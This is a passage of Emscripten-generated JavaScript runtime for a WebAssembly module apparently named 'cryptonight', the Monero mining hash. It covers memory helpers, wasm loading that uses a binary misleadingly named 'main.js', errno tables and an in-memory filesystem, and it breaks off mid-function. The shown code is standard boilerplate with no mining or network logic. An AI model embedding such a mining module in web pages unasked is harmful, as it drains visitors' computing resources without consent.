function writeStringToMemory(string, buffer, dontAddNull) {
    Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
    var lastChar, end;
    if (dontAddNull) {
        end = buffer + lengthBytesUTF8(string);
        lastChar = HEAP8[end]
    }
    stringToUTF8(string, buffer, Infinity);
    if (dontAddNull)
        HEAP8[end] = lastChar
}
Module["writeStringToMemory"] = writeStringToMemory;
function writeArrayToMemory(array, buffer) {
    HEAP8.set(array, buffer)
}
Module["writeArrayToMemory"] = writeArrayToMemory;
function writeAsciiToMemory(str, buffer, dontAddNull) {
    for (var i = 0; i < str.length; ++i) {
        HEAP8[buffer++ >> 0] = str.charCodeAt(i)
    }
    if (!dontAddNull)
        HEAP8[buffer >> 0] = 0
}
Module["writeAsciiToMemory"] = writeAsciiToMemory;
if (!Math["imul"] || Math["imul"](4294967295, 5) !== -5)
    Math["imul"] = function imul(a, b) {
        var ah = a >>> 16;
        var al = a & 65535;
        var bh = b >>> 16;
        var bl = b & 65535;
        return al * bl + (ah * bl + al * bh << 16) | 0
    }
    ;
Math.imul = Math["imul"];
if (!Math["fround"]) {
    var froundBuffer = new Float32Array(1);
    Math["fround"] = (function(x) {
        froundBuffer[0] = x;
        return froundBuffer[0]
    }
    )
}
Math.fround = Math["fround"];
if (!Math["clz32"])
    Math["clz32"] = (function(x) {
        x = x >>> 0;
        for (var i = 0; i < 32; i++) {
            if (x & 1 << 31 - i)
                return i
        }
        return 32
    }
    );
Math.clz32 = Math["clz32"];
if (!Math["trunc"])
    Math["trunc"] = (function(x) {
        return x < 0 ? Math.ceil(x) : Math.floor(x)
    }
    );
Math.trunc = Math["trunc"];
var Math_abs = Math.abs;
var Math_cos = Math.cos;
var Math_sin = Math.sin;
var Math_tan = Math.tan;
var Math_acos = Math.acos;
var Math_asin = Math.asin;
var Math_atan = Math.atan;
var Math_atan2 = Math.atan2;
var Math_exp = Math.exp;
var Math_log = Math.log;
var Math_sqrt = Math.sqrt;
var Math_ceil = Math.ceil;
var Math_floor = Math.floor;
var Math_pow = Math.pow;
var Math_imul = Math.imul;
var Math_fround = Math.fround;
var Math_round = Math.round;
var Math_min = Math.min;
var Math_clz32 = Math.clz32;
var Math_trunc = Math.trunc;
var runDependencies = 0;
var runDependencyWatcher = null;
var dependenciesFulfilled = null;
function getUniqueRunDependency(id) {
    return id
}
function addRunDependency(id) {
    runDependencies++;
    if (Module["monitorRunDependencies"]) {
        Module["monitorRunDependencies"](runDependencies)
    }
}
Module["addRunDependency"] = addRunDependency;
function removeRunDependency(id) {
    runDependencies--;
    if (Module["monitorRunDependencies"]) {
        Module["monitorRunDependencies"](runDependencies)
    }
    if (runDependencies == 0) {
        if (runDependencyWatcher !== null) {
            clearInterval(runDependencyWatcher);
            runDependencyWatcher = null
        }
        if (dependenciesFulfilled) {
            var callback = dependenciesFulfilled;
            dependenciesFulfilled = null;
            callback()
        }
    }
}
Module["removeRunDependency"] = removeRunDependency;
Module["preloadedImages"] = {};
Module["preloadedAudios"] = {};
var memoryInitializer = null;
function integrateWasmJS(Module) {
    var method = Module["wasmJSMethod"] || "native-wasm";
    Module["wasmJSMethod"] = method;
    var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
    var wasmBinaryFile = Module["wasmBinaryFile"] || "main.js";
    var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
    if (typeof Module["locateFile"] === "function") {
        wasmTextFile = Module["locateFile"](wasmTextFile);
        wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
        asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
    }
    var wasmPageSize = 64 * 1024;
    var asm2wasmImports = {
        "f64-rem": (function(x, y) {
            return x % y
        }
        ),
        "f64-to-int": (function(x) {
            return x | 0
        }
        ),
        "i32s-div": (function(x, y) {
            return (x | 0) / (y | 0) | 0
        }
        ),
        "i32u-div": (function(x, y) {
            return (x >>> 0) / (y >>> 0) >>> 0
        }
        ),
        "i32s-rem": (function(x, y) {
            return (x | 0) % (y | 0) | 0
        }
        ),
        "i32u-rem": (function(x, y) {
            return (x >>> 0) % (y >>> 0) >>> 0
        }
        ),
        "debugger": (function() {
            debugger
        }
        )
    };
    var info = {
        "global": null,
        "env": null,
        "asm2wasm": asm2wasmImports,
        "parent": Module
    };
    var exports = null;
    function lookupImport(mod, base) {
        var lookup = info;
        if (mod.indexOf(".") < 0) {
            lookup = (lookup || {})[mod]
        } else {
            var parts = mod.split(".");
            lookup = (lookup || {})[parts[0]];
            lookup = (lookup || {})[parts[1]]
        }
        if (base) {
            lookup = (lookup || {})[base]
        }
        if (lookup === undefined) {
            abort("bad lookupImport to (" + mod + ")." + base)
        }
        return lookup
    }
    function mergeMemory(newBuffer) {
        var oldBuffer = Module["buffer"];
        if (newBuffer.byteLength < oldBuffer.byteLength) {
            Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")
        }
        var oldView = new Int8Array(oldBuffer);
        var newView = new Int8Array(newBuffer);
        if (!memoryInitializer) {
            oldView.set(newView.subarray(Module["STATIC_BASE"], Module["STATIC_BASE"] + Module["STATIC_BUMP"]), Module["STATIC_BASE"])
        }
        newView.set(oldView);
        updateGlobalBuffer(newBuffer);
        updateGlobalBufferViews()
    }
    var WasmTypes = {
        none: 0,
        i32: 1,
        i64: 2,
        f32: 3,
        f64: 4
    };
    function fixImports(imports) {
        if (!0)
            return imports;
        var ret = {};
        for (var i in imports) {
            var fixed = i;
            if (fixed[0] == "_")
                fixed = fixed.substr(1);
            ret[fixed] = imports[i]
        }
        return ret
    }
    function getBinary() {
        try {
            var binary;
            if (Module["wasmBinary"]) {
                binary = Module["wasmBinary"];
                binary = new Uint8Array(binary)
            } else if (Module["readBinary"]) {
                binary = Module["readBinary"](wasmBinaryFile)
            } else {
                throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"
            }
            return binary
        } catch (err) {
            abort(err)
        }
    }
    function getBinaryPromise() {
        if (!Module["wasmBinary"] && typeof fetch === "function") {
            return fetch(wasmBinaryFile, {
                credentials: "same-origin"
            }).then((function(response) {
                if (!response["ok"]) {
                    throw "failed to load wasm binary file at '" + wasmBinaryFile + "'"
                }
                return response["arrayBuffer"]()
            }
            ))
        }
        return new Promise((function(resolve, reject) {
            resolve(getBinary())
        }
        ))
    }
    function doNativeWasm(global, env, providedBuffer) {
        if (typeof WebAssembly !== "object") {
            Module["printErr"]("no native wasm support detected");
            return false
        }
        if (!(Module["wasmMemory"]instanceof WebAssembly.Memory)) {
            Module["printErr"]("no native wasm Memory in use");
            return false
        }
        env["memory"] = Module["wasmMemory"];
        info["global"] = {
            "NaN": NaN,
            "Infinity": Infinity
        };
        info["global.Math"] = global.Math;
        info["env"] = env;
        function receiveInstance(instance) {
            exports = instance.exports;
            if (exports.memory)
                mergeMemory(exports.memory);
            Module["asm"] = exports;
            Module["usingWasm"] = true;
            removeRunDependency("wasm-instantiate")
        }
        addRunDependency("wasm-instantiate");
        if (Module["instantiateWasm"]) {
            try {
                return Module["instantiateWasm"](info, receiveInstance)
            } catch (e) {
                Module["printErr"]("Module.instantiateWasm callback failed with error: " + e);
                return false
            }
        }
        getBinaryPromise().then((function(binary) {
            return WebAssembly.instantiate(binary, info)
        }
        )).then((function(output) {
            receiveInstance(output["instance"])
        }
        )).catch((function(reason) {
            Module["printErr"]("failed to asynchronously prepare wasm: " + reason);
            abort(reason)
        }
        ));
        return {}
    }
    Module["asmPreload"] = Module["asm"];
    var asmjsReallocBuffer = Module["reallocBuffer"];
    var wasmReallocBuffer = (function(size) {
        var PAGE_MULTIPLE = Module["usingWasm"] ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE;
        size = alignUp(size, PAGE_MULTIPLE);
        var old = Module["buffer"];
        var oldSize = old.byteLength;
        if (Module["usingWasm"]) {
            try {
                var result = Module["wasmMemory"].grow((size - oldSize) / wasmPageSize);
                if (result !== (-1 | 0)) {
                    return Module["buffer"] = Module["wasmMemory"].buffer
                } else {
                    return null
                }
            } catch (e) {
                return null
            }
        } else {
            exports["__growWasmMemory"]((size - oldSize) / wasmPageSize);
            return Module["buffer"] !== old ? Module["buffer"] : null
        }
    }
    );
    Module["reallocBuffer"] = (function(size) {
        if (finalMethod === "asmjs") {
            return asmjsReallocBuffer(size)
        } else {
            return wasmReallocBuffer(size)
        }
    }
    );
    var finalMethod = "";
    Module["asm"] = (function(global, env, providedBuffer) {
        global = fixImports(global);
        env = fixImports(env);
        if (!env["table"]) {
            var TABLE_SIZE = Module["wasmTableSize"];
            if (TABLE_SIZE === undefined)
                TABLE_SIZE = 1024;
            var MAX_TABLE_SIZE = Module["wasmMaxTableSize"];
            if (typeof WebAssembly === "object" && typeof WebAssembly.Table === "function") {
                if (MAX_TABLE_SIZE !== undefined) {
                    env["table"] = new WebAssembly.Table({
                        "initial": TABLE_SIZE,
                        "maximum": MAX_TABLE_SIZE,
                        "element": "anyfunc"
                    })
                } else {
                    env["table"] = new WebAssembly.Table({
                        "initial": TABLE_SIZE,
                        element: "anyfunc"
                    })
                }
            } else {
                env["table"] = new Array(TABLE_SIZE)
            }
            Module["wasmTable"] = env["table"]
        }
        if (!env["memoryBase"]) {
            env["memoryBase"] = Module["STATIC_BASE"]
        }
        if (!env["tableBase"]) {
            env["tableBase"] = 0
        }
        var exports;
        exports = doNativeWasm(global, env, providedBuffer);
        return exports
    }
    );
    var methodHandler = Module["asm"]
}
integrateWasmJS(Module);
var ASM_CONSTS = [];
STATIC_BASE = Runtime.GLOBAL_BASE;
STATICTOP = STATIC_BASE + 12512;
__ATINIT__.push();
memoryInitializer = Module["wasmJSMethod"].indexOf("asmjs") >= 0 || Module["wasmJSMethod"].indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
var STATIC_BUMP = 12512;
Module["STATIC_BASE"] = STATIC_BASE;
Module["STATIC_BUMP"] = STATIC_BUMP;
var tempDoublePtr = STATICTOP;
STATICTOP += 16;
function ___assert_fail(condition, filename, line, func) {
    ABORT = true;
    throw "Assertion failed: " + Pointer_stringify(condition) + ", at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown function"] + " at " + stackTrace()
}
var PROCINFO = {
    ppid: 1,
    pid: 42,
    sid: 42,
    pgid: 42
};
var ERRNO_CODES = {
    EPERM: 1,
    ENOENT: 2,
    ESRCH: 3,
    EINTR: 4,
    EIO: 5,
    ENXIO: 6,
    E2BIG: 7,
    ENOEXEC: 8,
    EBADF: 9,
    ECHILD: 10,
    EAGAIN: 11,
    EWOULDBLOCK: 11,
    ENOMEM: 12,
    EACCES: 13,
    EFAULT: 14,
    ENOTBLK: 15,
    EBUSY: 16,
    EEXIST: 17,
    EXDEV: 18,
    ENODEV: 19,
    ENOTDIR: 20,
    EISDIR: 21,
    EINVAL: 22,
    ENFILE: 23,
    EMFILE: 24,
    ENOTTY: 25,
    ETXTBSY: 26,
    EFBIG: 27,
    ENOSPC: 28,
    ESPIPE: 29,
    EROFS: 30,
    EMLINK: 31,
    EPIPE: 32,
    EDOM: 33,
    ERANGE: 34,
    ENOMSG: 42,
    EIDRM: 43,
    ECHRNG: 44,
    EL2NSYNC: 45,
    EL3HLT: 46,
    EL3RST: 47,
    ELNRNG: 48,
    EUNATCH: 49,
    ENOCSI: 50,
    EL2HLT: 51,
    EDEADLK: 35,
    ENOLCK: 37,
    EBADE: 52,
    EBADR: 53,
    EXFULL: 54,
    ENOANO: 55,
    EBADRQC: 56,
    EBADSLT: 57,
    EDEADLOCK: 35,
    EBFONT: 59,
    ENOSTR: 60,
    ENODATA: 61,
    ETIME: 62,
    ENOSR: 63,
    ENONET: 64,
    ENOPKG: 65,
    EREMOTE: 66,
    ENOLINK: 67,
    EADV: 68,
    ESRMNT: 69,
    ECOMM: 70,
    EPROTO: 71,
    EMULTIHOP: 72,
    EDOTDOT: 73,
    EBADMSG: 74,
    ENOTUNIQ: 76,
    EBADFD: 77,
    EREMCHG: 78,
    ELIBACC: 79,
    ELIBBAD: 80,
    ELIBSCN: 81,
    ELIBMAX: 82,
    ELIBEXEC: 83,
    ENOSYS: 38,
    ENOTEMPTY: 39,
    ENAMETOOLONG: 36,
    ELOOP: 40,
    EOPNOTSUPP: 95,
    EPFNOSUPPORT: 96,
    ECONNRESET: 104,
    ENOBUFS: 105,
    EAFNOSUPPORT: 97,
    EPROTOTYPE: 91,
    ENOTSOCK: 88,
    ENOPROTOOPT: 92,
    ESHUTDOWN: 108,
    ECONNREFUSED: 111,
    EADDRINUSE: 98,
    ECONNABORTED: 103,
    ENETUNREACH: 101,
    ENETDOWN: 100,
    ETIMEDOUT: 110,
    EHOSTDOWN: 112,
    EHOSTUNREACH: 113,
    EINPROGRESS: 115,
    EALREADY: 114,
    EDESTADDRREQ: 89,
    EMSGSIZE: 90,
    EPROTONOSUPPORT: 93,
    ESOCKTNOSUPPORT: 94,
    EADDRNOTAVAIL: 99,
    ENETRESET: 102,
    EISCONN: 106,
    ENOTCONN: 107,
    ETOOMANYREFS: 109,
    EUSERS: 87,
    EDQUOT: 122,
    ESTALE: 116,
    ENOTSUP: 95,
    ENOMEDIUM: 123,
    EILSEQ: 84,
    EOVERFLOW: 75,
    ECANCELED: 125,
    ENOTRECOVERABLE: 131,
    EOWNERDEAD: 130,
    ESTRPIPE: 86
};
var ERRNO_MESSAGES = {
    0: "Success",
    1: "Not super-user",
    2: "No such file or directory",
    3: "No such process",
    4: "Interrupted system call",
    5: "I/O error",
    6: "No such device or address",
    7: "Arg list too long",
    8: "Exec format error",
    9: "Bad file number",
    10: "No children",
    11: "No more processes",
    12: "Not enough core",
    13: "Permission denied",
    14: "Bad address",
    15: "Block device required",
    16: "Mount device busy",
    17: "File exists",
    18: "Cross-device link",
    19: "No such device",
    20: "Not a directory",
    21: "Is a directory",
    22: "Invalid argument",
    23: "Too many open files in system",
    24: "Too many open files",
    25: "Not a typewriter",
    26: "Text file busy",
    27: "File too large",
    28: "No space left on device",
    29: "Illegal seek",
    30: "Read only file system",
    31: "Too many links",
    32: "Broken pipe",
    33: "Math arg out of domain of func",
    34: "Math result not representable",
    35: "File locking deadlock error",
    36: "File or path name too long",
    37: "No record locks available",
    38: "Function not implemented",
    39: "Directory not empty",
    40: "Too many symbolic links",
    42: "No message of desired type",
    43: "Identifier removed",
    44: "Channel number out of range",
    45: "Level 2 not synchronized",
    46: "Level 3 halted",
    47: "Level 3 reset",
    48: "Link number out of range",
    49: "Protocol driver not attached",
    50: "No CSI structure available",
    51: "Level 2 halted",
    52: "Invalid exchange",
    53: "Invalid request descriptor",
    54: "Exchange full",
    55: "No anode",
    56: "Invalid request code",
    57: "Invalid slot",
    59: "Bad font file fmt",
    60: "Device not a stream",
    61: "No data (for no delay io)",
    62: "Timer expired",
    63: "Out of streams resources",
    64: "Machine is not on the network",
    65: "Package not installed",
    66: "The object is remote",
    67: "The link has been severed",
    68: "Advertise error",
    69: "Srmount error",
    70: "Communication error on send",
    71: "Protocol error",
    72: "Multihop attempted",
    73: "Cross mount point (not really error)",
    74: "Trying to read unreadable message",
    75: "Value too large for defined data type",
    76: "Given log. name not unique",
    77: "f.d. invalid for this operation",
    78: "Remote address changed",
    79: "Can access a needed shared lib",
    80: "Accessing a corrupted shared lib",
    81: ".lib section in a.out corrupted",
    82: "Attempting to link in too many libs",
    83: "Attempting to exec a shared library",
    84: "Illegal byte sequence",
    86: "Streams pipe error",
    87: "Too many users",
    88: "Socket operation on non-socket",
    89: "Destination address required",
    90: "Message too long",
    91: "Protocol wrong type for socket",
    92: "Protocol not available",
    93: "Unknown protocol",
    94: "Socket type not supported",
    95: "Not supported",
    96: "Protocol family not supported",
    97: "Address family not supported by protocol family",
    98: "Address already in use",
    99: "Address not available",
    100: "Network interface is not configured",
    101: "Network is unreachable",
    102: "Connection reset by network",
    103: "Connection aborted",
    104: "Connection reset by peer",
    105: "No buffer space available",
    106: "Socket is already connected",
    107: "Socket is not connected",
    108: "Can't send after socket shutdown",
    109: "Too many references",
    110: "Connection timed out",
    111: "Connection refused",
    112: "Host is down",
    113: "Host is unreachable",
    114: "Socket already connected",
    115: "Connection already in progress",
    116: "Stale file handle",
    122: "Quota exceeded",
    123: "No medium (in tape drive)",
    125: "Operation canceled",
    130: "Previous owner died",
    131: "State not recoverable"
};
function ___setErrNo(value) {
    if (Module["___errno_location"])
        HEAP32[Module["___errno_location"]() >> 2] = value;
    return value
}
var PATH = {
    splitPath: (function(filename) {
        var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
        return splitPathRe.exec(filename).slice(1)
    }
    ),
    normalizeArray: (function(parts, allowAboveRoot) {
        var up = 0;
        for (var i = parts.length - 1; i >= 0; i--) {
            var last = parts[i];
            if (last === ".") {
                parts.splice(i, 1)
            } else if (last === "..") {
                parts.splice(i, 1);
                up++
            } else if (up) {
                parts.splice(i, 1);
                up--
            }
        }
        if (allowAboveRoot) {
            for (; up; up--) {
                parts.unshift("..")
            }
        }
        return parts
    }
    ),
    normalize: (function(path) {
        var isAbsolute = path.charAt(0) === "/"
          , trailingSlash = path.substr(-1) === "/";
        path = PATH.normalizeArray(path.split("/").filter((function(p) {
            return !!p
        }
        )), !isAbsolute).join("/");
        if (!path && !isAbsolute) {
            path = "."
        }
        if (path && trailingSlash) {
            path += "/"
        }
        return (isAbsolute ? "/" : "") + path
    }
    ),
    dirname: (function(path) {
        var result = PATH.splitPath(path)
          , root = result[0]
          , dir = result[1];
        if (!root && !dir) {
            return "."
        }
        if (dir) {
            dir = dir.substr(0, dir.length - 1)
        }
        return root + dir
    }
    ),
    basename: (function(path) {
        if (path === "/")
            return "/";
        var lastSlash = path.lastIndexOf("/");
        if (lastSlash === -1)
            return path;
        return path.substr(lastSlash + 1)
    }
    ),
    extname: (function(path) {
        return PATH.splitPath(path)[3]
    }
    ),
    join: (function() {
        var paths = Array.prototype.slice.call(arguments, 0);
        return PATH.normalize(paths.join("/"))
    }
    ),
    join2: (function(l, r) {
        return PATH.normalize(l + "/" + r)
    }
    ),
    resolve: (function() {
        var resolvedPath = ""
          , resolvedAbsolute = false;
        for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
            var path = i >= 0 ? arguments[i] : FS.cwd();
            if (typeof path !== "string") {
                throw new TypeError("Arguments to path.resolve must be strings")
            } else if (!path) {
                return ""
            }
            resolvedPath = path + "/" + resolvedPath;
            resolvedAbsolute = path.charAt(0) === "/"
        }
        resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) {
            return !!p
        }
        )), !resolvedAbsolute).join("/");
        return (resolvedAbsolute ? "/" : "") + resolvedPath || "."
    }
    ),
    relative: (function(from, to) {
        from = PATH.resolve(from).substr(1);
        to = PATH.resolve(to).substr(1);
        function trim(arr) {
            var start = 0;
            for (; start < arr.length; start++) {
                if (arr[start] !== "")
                    break
            }
            var end = arr.length - 1;
            for (; end >= 0; end--) {
                if (arr[end] !== "")
                    break
            }
            if (start > end)
                return [];
            return arr.slice(start, end - start + 1)
        }
        var fromParts = trim(from.split("/"));
        var toParts = trim(to.split("/"));
        var length = Math.min(fromParts.length, toParts.length);
        var samePartsLength = length;
        for (var i = 0; i < length; i++) {
            if (fromParts[i] !== toParts[i]) {
                samePartsLength = i;
                break
            }
        }
        var outputParts = [];
        for (var i = samePartsLength; i < fromParts.length; i++) {
            outputParts.push("..")
        }
        outputParts = outputParts.concat(toParts.slice(samePartsLength));
        return outputParts.join("/")
    }
    )
};
var TTY = {
    ttys: [],
    init: (function() {}
    ),
    shutdown: (function() {}
    ),
    register: (function(dev, ops) {
        TTY.ttys[dev] = {
            input: [],
            output: [],
            ops: ops
        };
        FS.registerDevice(dev, TTY.stream_ops)
    }
    ),
    stream_ops: {
        open: (function(stream) {
            var tty = TTY.ttys[stream.node.rdev];
            if (!tty) {
                throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
            }
            stream.tty = tty;
            stream.seekable = false
        }
        ),
        close: (function(stream) {
            stream.tty.ops.flush(stream.tty)
        }
        ),
        flush: (function(stream) {
            stream.tty.ops.flush(stream.tty)
        }
        ),
        read: (function(stream, buffer, offset, length, pos) {
            if (!stream.tty || !stream.tty.ops.get_char) {
                throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
            }
            var bytesRead = 0;
            for (var i = 0; i < length; i++) {
                var result;
                try {
                    result = stream.tty.ops.get_char(stream.tty)
                } catch (e) {
                    throw new FS.ErrnoError(ERRNO_CODES.EIO)
                }
                if (result === undefined && bytesRead === 0) {
                    throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
                }
                if (result === null || result === undefined)
                    break;
                bytesRead++;
                buffer[offset + i] = result
            }
            if (bytesRead) {
                stream.node.timestamp = Date.now()
            }
            return bytesRead
        }
        ),
        write: (function(stream, buffer, offset, length, pos) {
            if (!stream.tty || !stream.tty.ops.put_char) {
                throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
            }
            for (var i = 0; i < length; i++) {
                try {
                    stream.tty.ops.put_char(stream.tty, buffer[offset + i])
                } catch (e) {
                    throw new FS.ErrnoError(ERRNO_CODES.EIO)
                }
            }
            if (length) {
                stream.node.timestamp = Date.now()
            }
            return i
        }
        )
    },
    default_tty_ops: {
        get_char: (function(tty) {
            if (!tty.input.length) {
                var result = null;
                if (ENVIRONMENT_IS_NODE) {
                    var BUFSIZE = 256;
                    var buf = new Buffer(BUFSIZE);
                    var bytesRead = 0;
                    var isPosixPlatform = process.platform != "win32";
                    var fd = process.stdin.fd;
                    if (isPosixPlatform) {
                        var usingDevice = false;
                        try {
                            fd = fs.openSync("/dev/stdin", "r");
                            usingDevice = true
                        } catch (e) {}
                    }
                    try {
                        bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null)
                    } catch (e) {
                        if (e.toString().indexOf("EOF") != -1)
                            bytesRead = 0;
                        else
                            throw e
                    }
                    if (usingDevice) {
                        fs.closeSync(fd)
                    }
                    if (bytesRead > 0) {
                        result = buf.slice(0, bytesRead).toString("utf-8")
                    } else {
                        result = null
                    }
                } else if (typeof window != "undefined" && typeof window.prompt == "function") {
                    result = window.prompt("Input: ");
                    if (result !== null) {
                        result += "\n"
                    }
                } else if (typeof readline == "function") {
                    result = readline();
                    if (result !== null) {
                        result += "\n"
                    }
                }
                if (!result) {
                    return null
                }
                tty.input = intArrayFromString(result, true)
            }
            return tty.input.shift()
        }
        ),
        put_char: (function(tty, val) {
            if (val === null || val === 10) {
                Module["print"](UTF8ArrayToString(tty.output, 0));
                tty.output = []
            } else {
                if (val != 0)
                    tty.output.push(val)
            }
        }
        ),
        flush: (function(tty) {
            if (tty.output && tty.output.length > 0) {
                Module["print"](UTF8ArrayToString(tty.output, 0));
                tty.output = []
            }
        }
        )
    },
    default_tty1_ops: {
        put_char: (function(tty, val) {
            if (val === null || val === 10) {
                Module["printErr"](UTF8ArrayToString(tty.output, 0));
                tty.output = []
            } else {
                if (val != 0)
                    tty.output.push(val)
            }
        }
        ),
        flush: (function(tty) {
            if (tty.output && tty.output.length > 0) {
                Module["printErr"](UTF8ArrayToString(tty.output, 0));
                tty.output = []
            }
        }
        )
    }
};
var MEMFS = {
    ops_table: null,
    mount: (function(mount) {
        return MEMFS.createNode(null, "/", 16384 | 511, 0)
    }
    ),
    createNode: (function(parent, name, mode, dev) {
        if (FS.isBlkdev(mode) || FS.isFIFO(mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        if (!MEMFS.ops_table) {
            MEMFS.ops_table = {
                dir: {
                    node: {
                        getattr: MEMFS.node_ops.getattr,
                        setattr: MEMFS.node_ops.setattr,
                        lookup: MEMFS.node_ops.lookup,
                        mknod: MEMFS.node_ops.mknod,
                        rename: MEMFS.node_ops.rename,
                        unlink: MEMFS.node_ops.unlink,
                        rmdir: MEMFS.node_ops.rmdir,
                        readdir: MEMFS.node_ops.readdir,
                        symlink: MEMFS.node_ops.symlink
                    },
                    stream: {
                        llseek: MEMFS.stream_ops.llseek
                    }
                },
                file: {
                    node: {
                        getattr: MEMFS.node_ops.getattr,
                        setattr: MEMFS.node_ops.setattr
                    },
                    stream: {
                        llseek: MEMFS.stream_ops.llseek,
                        read: MEMFS.stream_ops.read,
                        write: MEMFS.stream_ops.write,
                        allocate: MEMFS.stream_ops.allocate,
                        mmap: MEMFS.stream_ops.mmap,
                        msync: MEMFS.stream_ops.msync
                    }
                },
                link: {
                    node: {
                        getattr: MEMFS.node_ops.getattr,
                        setattr: MEMFS.node_ops.setattr,
                        readlink: MEMFS.node_ops.readlink
                    },
                    stream: {}
                },
                chrdev: {
                    node: {
                        getattr: MEMFS.node_ops.getattr,
                        setattr: MEMFS.node_ops.setattr
                    },
                    stream: FS.chrdev_stream_ops
                }
            }
        }
        var node = FS.createNode(parent, name, mode, dev);
        if (FS.isDir(node.mode)) {
            node.node_ops = MEMFS.ops_table.dir.node;
            node.stream_ops = MEMFS.ops_table.dir.stream;
            node.contents = {}
        } else if (FS.isFile(node.mode)) {
            node.node_ops = MEMFS.ops_table.file.node;
            node.stream_ops = MEMFS.ops_table.file.stream;
            node.usedBytes = 0;
            node.contents = null
        } else if (FS.isLink(node.mode)) {
            node.node_ops = MEMFS.ops_table.link.node;
            node.stream_ops = MEMFS.ops_table.link.stream
        } else if (FS.isChrdev(node.mode)) {
            node.node_ops = MEMFS.ops_table.chrdev.node;
            node.stream_ops = MEMFS.ops_table.chrdev.stream
        }
        node.timestamp = Date.now();
        if (parent) {
            parent.contents[name] = node
        }
        return node
    }
    ),
    getFileDataAsRegularArray: (function(node) {
        if (node.contents && node.contents.subarray) {
            var arr = [];
            for (var i = 0; i < node.usedBytes; ++i)
                arr.push(node.contents[i]);
            return arr
        }
        return node.contents
    }
    ),
    getFileDataAsTypedArray: (function(node) {
        if (!node.contents)
            return new Uint8Array;
        if (node.contents.subarray)
            return node.contents.subarray(0, node.usedBytes);
        return new Uint8Array(node.contents)
    }
    ),
    expandFileStorage: (function(node, newCapacity) {
        if (node.contents && node.contents.subarray && newCapacity > node.contents.length) {
            node.contents = MEMFS.getFileDataAsRegularArray(node);
            node.usedBytes = node.contents.length
        }
        if (!node.contents || node.contents.subarray) {
            var prevCapacity = node.contents ? node.contents.length : 0;
            if (prevCapacity >= newCapacity)
                return;
            var CAPACITY_DOUBLING_MAX = 1024 * 1024;
            newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0);
            if (prevCapacity != 0)
                newCapacity = Math.max(newCapacity, 256);
            var oldContents = node.contents;
            node.contents = new Uint8Array(newCapacity);
            if (node.usedBytes > 0)
                node.contents.set(oldContents.subarray(0, node.usedBytes), 0);
            return
        }
        if (!node.contents && newCapacity > 0)
            node.contents = [];
        while (node.contents.length < newCapacity)
            node.contents.push(0)
    }
    ),
    resizeFileStorage: (function(node, newSize) {
        if (node.usedBytes == newSize)
            return;
        if (newSize == 0) {
            node.contents = null;
            node.usedBytes = 0;
            return
        }
        if (!node.contents || node.contents.subarray) {
            var oldContents = node.contents;
            node.contents = new Uint8Array(new ArrayBuffer(newSize));
            if (oldContents) {
                node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes)))
            }
            node.usedBytes = newSize;
            return
        }
        if (!node.contents)
            node.contents = [];
        if (node.contents.length > newSize)
            node.contents.length = newSize;
        else
            while (node.contents.length < newSize)
                node.contents.push(0);
        node.usedBytes = newSize
    }
    ),
    node_ops: {
        getattr: (function(node) {
            var attr = {};
            attr.dev = FS.isChrdev(node.mode) ? node.id : 1;
            attr.ino = node.id;
            attr.mode = node.mode;
            attr.nlink = 1;
            attr.uid = 0;
            attr.gid = 0;
            attr.rdev = node.rdev;
            if (FS.isDir(node.mode)) {
                attr.size = 4096
            } else if (FS.isFile(node.mode)) {
                attr.size = node.usedBytes
            } else if (FS.isLink(node.mode)) {
                attr.size = node.link.length
            } else {
                attr.size = 0
            }
            attr.atime = new Date(node.timestamp);
            attr.mtime = new Date(node.timestamp);
            attr.ctime = new Date(node.timestamp);
            attr.blksize = 4096;
            attr.blocks = Math.ceil(attr.size / attr.blksize);
            return attr
        }
        ),
        setattr: (function(node, attr) {
            if (attr.mode !== undefined) {
                node.mode = attr.mode
            }
            if (attr.timestamp !== undefined) {
                node.timestamp = attr.timestamp
            }
            if (attr.size !== undefined) {
                MEMFS.resizeFileStorage(node, attr.size)
            }
        }
        ),
        lookup: (function(parent, name) {
            throw FS.genericErrors[ERRNO_CODES.ENOENT]
        }
        ),
        mknod: (function(parent, name, mode, dev) {
            return MEMFS.createNode(parent, name, mode, dev)
        }
        ),
        rename: (function(old_node, new_dir, new_name) {
            if (FS.isDir(old_node.mode)) {
                var new_node;
                try {
                    new_node = FS.lookupNode(new_dir, new_name)
                } catch (e) {}
                if (new_node) {
                    for (var i in new_node.contents) {
                        throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
                    }
                }
            }
            delete old_node.parent.contents[old_node.name];
            old_node.name = new_name;
            new_dir.contents[new_name] = old_node;
            old_node.parent = new_dir
        }
        ),
        unlink: (function(parent, name) {
            delete parent.contents[name]
        }
        ),
        rmdir: (function(parent, name) {
            var node = FS.lookupNode(parent, name);
            for (var i in node.contents) {
                throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
            }
            delete parent.contents[name]
        }
        ),
        readdir: (function(node) {
            var entries = [".", ".."];
            for (var key in node.contents) {
                if (!node.contents.hasOwnProperty(key)) {
                    continue
                }
                entries.push(key)
            }
            return entries
        }
        ),
        symlink: (function(parent, newname, oldpath) {
